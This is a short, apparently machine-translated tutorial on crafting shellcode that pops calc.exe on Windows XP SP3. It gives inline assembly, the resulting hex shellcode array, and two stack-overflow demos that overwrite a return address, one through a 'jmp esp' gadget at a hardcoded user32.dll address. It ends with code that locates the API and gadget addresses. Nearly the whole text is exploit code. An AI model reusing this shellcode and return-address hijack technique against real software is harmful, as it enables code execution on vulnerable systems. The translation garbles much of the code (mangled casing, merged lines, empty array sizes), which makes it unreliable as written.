Simple acquisition of Shellcode

Take the pop-up calculator as an example

. C

    System ("calc.exe");    Exit (0);

. asm

__asm {xor eax, eax push EAX movbytePTR [ESP],'L'movbytePTR [esp+1],'L'Push'd.tr'Push'CVSM' //push msvcrt.dll 0 0, Bytesmov eax, esp push EAX//string "Msvcrt.dll" addressmov eax, 7C801D7BH//LoadLibraryA Msvcrt.dllCall eax xor eax, eax push eax push'exe.'Push'Clac' //Push calc.exe 0 0 0 0, Bytesmov eax, esp push EAX//string "calc.exe" addressMOV eax,77bf93c7h//systemCall eax xor eax, eax push EAX mov eax,77c09e7eh//exit (0)Call EAX}

ShellCode

UnsignedCharUc[] ="\x33\xc0\x50\xc6\x04\x24\x6c\xc6\x44\x24\x01\x6c\x68\x72\x74\x2e"        "\x64\x68\x6d\x73\x76\x63\x8b\xc4\x50\xb8\x7b\x1d\x80\x7c\xff\xd0"        "\x33\xc0\x50\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x8b\xc4\x50"        "\xb8\xc7\x93\xbf\x77\xff\xd0\x33\xc0\x50\xb8\x7e\x9e\xc0\x77\xff"        "\xd0"; typedefvoid(*FUNC)    (); (FUNC)&UC) ();

Stack Overflow 1

    void func1 (Char* s)    {        char buf[];        strcpy (buf, s);    }     Char " 0123456789123456 "; // integer Multiple (4)    dword* Peip = (dword*) &ch[]; // RETN Address, +12 realease,+16 debug        *peip = (DWORD) UC; // RETN address point to ShellCode    FUNC1 (CH);

ShellCode Overflow 2

Hmodule hmod = LoadLibrary ("user32.dll"); unsignedCharUc[] ="1234567890123456\x53\x93\xd2\x77\x33\xc0\x50\xc6\x04\x24\x6c\xc6\x44\x24\x01\x6c\x68\x72\x74\x2e"        "\x64\x68\x6d\x73\x76\x63\x8b\xc4\x50\xb8\x7b\x1d\x80\x7c\xff\xd0"        "\x33\xc0\x50\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x8b\xc4\x50"        "\xb8\xc7\x93\xbf\x77\xff\xd0\x33\xc0\x50\xb8\x7e\x9e\xc0\x77\xff"        "\xd0"; Func1 ((Char*) UC);

XP SP3 Related address obtained

Hmodule hmod = LoadLibrary ("Msvcrt.dll"); if(hmod) {printf ("%p\r\n", GetProcAddress (Hmod,"system"));//77bf93c7printf"%p\r\n", GetProcAddress (Hmod,"Exit"));//77c09e7eFreeLibrary (HMOD); } hmodule hmod= LoadLibrary ("user32.dll"); if(hmod) {pbyte ptravel=(pbyte) hmod; BOOL bloop=TRUE;  for(DWORD i =0; Bloop; i++)         {             //FF E0 JMP EAX//FF E1 JMP ECX//FF E2 JMP EDX//FF E3 JMP EBX//FF E4 JMP ESP//FF E5 JMP EBP//FF E6 JMP ESI//FF E7 JMP EDI//FF D0 Call EAX//FF D1 Call ECX//FF D2 Call EDX//FF D3 Call EBX//FF D4 Call ESP//FF D5 Call EBP//FF D6 Call ESI//FF D7 Call EDI             Try             {                 if(Ptravel[i] = =0xFF&& ptravel[i+1] ==0xE4) {printf ("%p\r\n", Ptravel + i);//77d29353                      Break; }             }             Catch(...) {bloop=FALSE;     }} freelibrary (Hmod); }    

Simple acquisition of Shellcode